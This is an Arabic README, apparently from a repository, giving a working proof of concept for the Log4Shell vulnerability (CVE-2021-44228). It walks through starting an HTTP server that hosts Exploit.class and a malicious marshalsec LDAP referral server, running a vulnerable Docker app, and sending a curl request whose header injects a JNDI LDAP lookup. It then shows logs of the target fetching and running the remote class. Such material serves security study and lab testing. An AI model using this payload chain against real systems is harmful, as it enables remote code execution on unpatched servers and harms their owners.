
إثبات المفهوم لـ CVE-2021-44228.
يتمثل نطاق هذا المستودع في توفير جميع المكونات اللازمة لاستغلال CVE-2021-44228، الملقب بـ Log4Shell،
وإظهار كيفية استغلاله.
المكونات المطلوبة لاستغلال هذه الثغرة هي التالية:
الاعتمادات:
المتطلبات الأساسية:
LDAP Server و HTTP ServerHTTP Server1. انتقل إلى مجلد exploit وشغّل خادم http باستخدام Python.
python3 -m http.server PORT
LDAP Server1. انتقل إلى مجلد ldap_server وقم ببناء pom.xml
mvn clean package -DskipTests
2. انتقل إلى مجلد target وشغّل الخادم مع تحديد http_server_ip و http_server_port
java -cp ldap_server-1.0-all.jar marshalsec.jndi.LDAPRefServer "http://http_server_ip:http_server_port/#Exploit"
ملاحظة: يقوم هذا الأمر بتشغيل خادم ldap الخبيث من خلال إجباره على الرد بمعرف URI الخاص بـ Exploit.class على كل استعلام ldap.
Vulnerable applicationقم بتشغيل حاوية docker للتطبيق الضعيف
docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app
ملاحظة: بشكل افتراضي نقوم بتشغيل التطبيق الضعيف على المنفذ 8080، لا تتردد في تغييره.
بمجرد تشغيل كل من vulnerable_application و ldap_server و http_server
، أرسل طلب http خبيثًا إلى الخادم الضعيف.
curl VULNERABLE_APPLICATION_IP:8080 -H 'X-Api-Version: ${jndi:ldap://ldap_server_ip:1389/a}'
سيقوم vulnerable_application بتسجيل الحمولة وتنفيذ استعلام ldap
2021-12-24 18:48:14.644 INFO 1 --- [nio-8080-exec-1] HelloWorld: Received a request for API version ${jndi:ldap://10.0.2.15:1389/a}
سيجيب ldap_server بمعرف URI الخاص بـ Exploit.class
Listening on 0.0.0.0:1389
Send LDAP reference result for a redirecting to http://10.0.2.15:8443/Exploit.class
سيستقبل http_server طلبًا إلى Exploit.class
Serving HTTP on 0.0.0.0 port 8443 (http://0.0.0.0:8443/) ...
172.17.0.2 - - [24/Dec/2021 19:48:14] "GET /Exploit.class HTTP/1.1" 200 -
أخيرًا، يمكننا التحقق من أن الاستغلال أنشأ ملفًا جديدًا على نظام ملفات الضحية. في هذا المثال نحتاج إلى فحص نظام ملفات حاوية docker.

https://www.lunasec.io/docs/blog/log4j-zero-day/
https://github.com/mbechler/marshalsec
https://github.com/christophetd/log4shell-vulnerable-app